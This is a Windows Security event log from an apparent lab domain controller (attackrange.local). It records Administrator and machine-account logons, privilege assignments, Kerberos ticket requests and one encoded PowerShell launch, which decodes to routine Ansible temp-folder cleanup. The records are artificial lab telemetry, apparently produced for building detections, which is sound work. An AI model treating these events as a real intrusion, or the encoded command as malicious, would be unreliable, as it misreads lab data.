EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251460
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251459
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F0F9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251458
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1334C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251457
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C58

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251456
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132587

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251455
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134EA1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251454
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136711

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251453
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136711
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251452
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251451
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251450
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1366F5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251448
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1366F5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251447
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1366F5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251446
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251445
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251444
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251443
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1350AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251442
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa34
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11bc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAIgAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlADsACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251441
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1358B8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251440
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1358B8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64528

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251439
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1358B8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251438
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13584B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251437
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13584B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64527

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251436
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13584B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251435
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1357CA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251434
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1357CA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64526

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251433
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1357CA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251432
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1356D4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251431
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1356D4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64525

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

